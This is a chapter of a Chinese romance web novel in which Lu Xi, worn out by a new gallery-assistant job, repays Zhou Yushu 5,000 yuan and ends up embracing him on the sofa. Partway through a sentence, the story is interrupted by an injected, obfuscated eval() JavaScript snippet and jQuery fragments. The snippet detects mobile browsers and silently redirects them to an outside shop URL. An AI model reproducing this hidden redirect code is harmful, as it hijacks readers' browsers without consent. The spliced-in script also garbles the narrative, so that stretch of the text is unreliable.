最后,陆西没有跟着周裕树走到“收到”。
她在路上接了个电话,陆依莎有急事找她。那头的姐姐火急火燎地强调“速速”,陆西就干着急地在原地兜兜转起来。
她和周裕树道歉:“对不起,本来说好要和你一起走过去的。”
虽然不知道她为什么需要道歉,但此刻的周裕树也不是很在状态。
他点点头,和她说去吧,就被陆西拉出了放在口袋里的手。
像商务会谈一样,虎口卡着虎口。他们正式地握了个手。
“等我回来。”说完,陆西就转身去路边拦车。
周裕树留在原地,感觉手心有层薄薄的汗和热热的余温。
他看着陆西上车,摇下车窗对他挥手,然后出租车汇入车流,变成不计其数的一粟。
脑子里有根弦在跳,胸腔里的气也在膨胀。可燃物抵达沸点就停住了,不上不下,隔靴搔不了痒,他站在原地,忽然好口渴,就像是涨潮时被拍上岸的鱼。
周裕树觉得,这次不一样。
这次真的不一样。
他没有急着皱眉回避,他一点一点松掉自己的结界,期待登门入室的陆西为他创造一个桃花源。
但是,往后的几天,他根本没机会和陆西说上一句完整的话。
*
陆依莎在杂志社有人脉,听说陆西愤愤离职了,丝毫不意外。
陆西能在这里干这么久才是她最意外的事情。
朋友最近在办展,缺人手,陆依莎觉得陆西合适,自作主张把她塞进去了。反正是项目制的,能干就干,赚点零花钱最好。
陆西现在这个处境,做姐姐的虽然没办法直接给她钱,但是找点门路还是很容易的。
陆西这几天翻了有两千个白眼了。
这份工作说出去好听是策展人,直白点就是助理。
每天就是听所谓的主理人对她说“hurryup”“movemovemove”,她一边在心里安抚自己“it’sokay”“peacepeace”,一边又跑到没人的地方大喊“shitshitshit”。
喊完了,还要去买咖啡、跑腿、整理资料,干的全部都是非常边缘的琐事。
她每天晚上刚走到家楼下就接到主理人来电,接起电话,态度殷勤说好好好,挂了电话,转头就拨给陆依莎想讹点精神损失费。
家姐介绍的工作,家姐要负全责!
换鞋进门,电话还在讲,她余光根本分不出去。
坐在沙发上的周裕树摆了个pose,眼见被忽略,挪动位置站了起来。
他像拍画报一样靠在沙发边上,表现得非常之不经意和自然。
而陆西,回房间换下漂亮的裙子,出来穿了一套轻便的衣服,手里电话根本没挂,嘴上还在骂骂咧咧,随之关上门又出去了。
周裕树看了眼时间,十点。
他犹犹豫豫地给她编辑消息,问她去哪,还回来吗,回来还爱——呸!他赶紧扔掉手机。
这都什么跟什么啊。
他在客厅坐了好一会儿,十一点,门外没有动静,手机里没有陆西的消息。
那张“特别的人”公约还白纸黑字地贴在那里。他说服自己,这不是关心,而是身为监护人以及代理家长的责任。
他给陆西发了消息,问她:“你还回来吗?”
他们已经好几天没说上话了,周裕树心里也因为街边那番话不得劲了好几天了,他非得速战速决地做点什么,把这股不上不下的感觉解决。
三分钟一到,没得到回复,周裕树直接拨了个电话过去。
嘟声后接通,陆西那边的背景音很吵。
周裕树刚“喂”了一声,尾音还没落下,陆西先发制人地大声和他问候:“喂?喂喂喂?宝贝,我忙啊,我真忙啊,你别生气,这里太吵了我没听到你打电话。我哪里是不想陪你……什么?你要跟我分手?别别别,有话等我回家说,我现在就回家!”
然后电话挂断。
周裕树愣愣看着通话结束的界面。他什么都没说,话都被她说完了。
不出片刻,陆西真的回来了。
她穿着她一个多小时前换上的那套轻便衣服,用尽了所有力气解锁、进门、脚步蹒跚爬回房间。
手刚要压下门把,听见旁边传来一声咳嗽。
周裕树非常刻意地彰显了一下存在感。
“咳咳咳。”
陆西扭头看过去,像是想到了什么,游魂一般挪到沙发边,挤在沙发边缘的小小角落里坐下,几乎压在周裕树身上。
周裕树提醒她:“旁边还有位置。”
“我没力气走过去了。”
就近原则,她就要坐在这里。
周裕树往旁边给她让出点地方,手臂仍然碰到手臂,摩擦生热,一下子实现了供暖。
谁都不说话,突然之间有些尴尬。正要思考该从哪里起头时,陆西忽然对他说:“你把手机拿出来。”
周裕树照做。
紧接着,就收到了一条五千块的转账提示。
他问:“这什么?”
陆西累得挺不直背,她趴在沙发扶手上说:“先还你这么多。”
她向周裕树借了一笔不算多也不算少的钱,也坚信往后几个月的自己拿不出这笔全款一次性还清,干脆就积少成多,有一点先还一点。
她说:“下一笔我也不知道什么时候有,有了再给你吧。”
说着,她还打了个哈欠,眼角流出泪,她伸手指擦掉,瞥见周裕树对着那五千块的转账没动。
“你这几天干嘛去了?”周裕树问她。
“打工啊,”她申明,“都是我合法赚来的钱,没偷没抢很干净。”
“我不是这个意思。”
“那你不点接收?”
周裕树扭头看她,五味陈杂。
视线的余裕之处,还有那张醒目的公约作为背景。而对上了焦的陆西占据中心。
他有些搞不懂了,大家说好做“特别的人”,他借给她钱,她要连夜打工还上。字字句句不再提那些让人想入非非的旖旎,全部都是铜臭味道。
他真的搞不懂了,这几天看她早出晚归,还特地腾出空来配合她的时间,想跟她促膝长谈,还想听她说几句越界的糊涂话。
本以为陆西会是一把趁手管用的痒痒挠,能让他蠢蠢欲动又跃跃欲试的心好受一点,没想到是盆五千块的冷水。
她不是一贯爱玩火吗?现在怎么玩起水来了?
周裕树说:“你,这几天去打工,是为了还我这五千块钱?”
陆西太累了,体力大消耗不说,脑力也超负荷运载。
她把这句话的重点听错了。她以为周裕树在意的是“五千块”,只有五千块,仅有的五千块。
于是一下子怒从中来,但碍于没力气发火,情绪转为委屈,她开口就是哭腔。
周裕树懵了:“诶不是,你别——”
他要劝她别哭,手都伸出去了,胸膛忽的受力。
陆西埋头撞了过来。
闷闷的,像被人打了一拳,可是好奇怪,心头那股飘忽不定的感觉终于有了稳定的趋势。
周裕树手足无措,只能盯着黑屏的电视,喉结滚动,吞咽,然后小幅度的呼吸。
“你哭了吗?”他问。
陆西没哭。
陆西只是不想深更半夜还要和他理论钱不钱,五千不五千,上班像做狗一样到手还只有这点。
“好困,想睡觉。”她说。
他于是放轻了音调:“工地不让你睡觉的?”
“嗯。饭也没时间吃。”
周裕树一时抬起来的手没地方放。想要落在她头顶或者背后,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342400|199408||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
总觉得太过逾矩。最终,他放回自己身侧,任由陆西抵在他的胸膛。
听她说忙到不能睡觉和吃饭,他好奇调侃:“你没教育包工头?”
到这个程度,没有嚣张地发火,完全就不是陆西的性格。
然而,陆西轻晃脑袋说:“教育了就没钱拿。”
钱钱钱,还在说钱。
他的语气冷了下去:“我没有急着让你还钱。”
陆西却叹气:“总要还的啊。”
周裕树没话讲了。
时间在走,星月一时一刻地移动方位。不知道过了多久,一室的缄默中,陆西开口:“你身上好好闻。我好几天没洗头了,我自己都嫌臭。”
周裕树垂下眼看她。不愧是对自己高标准要求的都市丽人,明明一点油光都没有,就把自己说成这样。
陆西嗅了两下:“周裕树,这个姿势我的手好累啊,我可以伸手抱你一下吗?”
临了,还煞有介事地补充:“如果你未来的女朋友和老婆不反对的话。”
听到这里的周裕树仰头,望着透亮的天花板,露出自己都没察觉的窃笑。
来了,终于来了,话题总算走到这了。
上次他们在路上没探讨完的身体接触和亲密关系,看样子今天是可以得出结论了。
他期待陆西再问他一遍:这样是可以的吗?
他会用他准备好的答案回答:可以吧。
所以,当陆西提出要抱抱又搬出他未来的女朋友和老婆的时候,周裕树故作轻松地回答:“我不反对。”
管不了未来了,只顾得上眼下。
他不反对陆西抱他。亲密是人的本能,而他们是特别的人。如果陆西抱她,他也可以回抱她,一起做取暖的小动物,不用管外面的温度。
于是,手臂穿过腰腹,陆西环抱住他。
年轻的身体,结实的胸膛,以及安心的味道,大脑迅速作出反应,犹如弹幕般飘过一句歌词——
You’rehome.
做完这些,陆西才对周裕树那句“我不反对”发出哼笑,并且说道:“男人!”
“怎样?”
“男人,你不反对的话,就拍拍我的肩膀对我说‘做得好’吧!我也是很需要鼓励的,这几天累死我了。刚才我还是找了个借口才偷溜回来的。”
虽然她变本加厉,既要又要,得寸进尺,但周裕树心里也有本账册。他一一记下,等到自己需要的时候再向陆西索取。
根据她的要求,用手拍她肩膀,对她说“做得好”。手掌就这么自然而然就留在了她肩上。
此刻,他们维持着相互拥抱的姿势。
陆西闭上眼睛,好像要睡过去,她懒懒地提出要求:“还要!”
周裕树依她:“做得好。”
“还要!”
“做得好。”
“还要!”
“……”
他们像卡带的录音机,一直重复了好多遍。
好多遍之后,语境稍有不对。周裕树不再说了。
陆西也察觉出不对劲:“我们这样好像那个啊。”
“哪个?”
“都是成年人了,你还要我说出来吗?”
周裕树一本正经:“你不说出来我怎么知道?”
陆西有气无力的靠在他身上说:“好像炮友啊。”
尤其现在。
相处这么久,她对他够了解了。知道他在哪个时刻会推开、起身、走掉,所以赶在他有所动作前把手臂扣紧,不让他溜走。
但是,预想中的周裕树并没有这么做。
陆西把他抱得好紧,他也礼尚往来般把她搂得更紧。接触到灵魂,放置进生命。
“有区别吗?”周裕树回应她,“别人当炮友也是当特别的人啊。”
陆西语塞,忽然觉得他说的好有道理。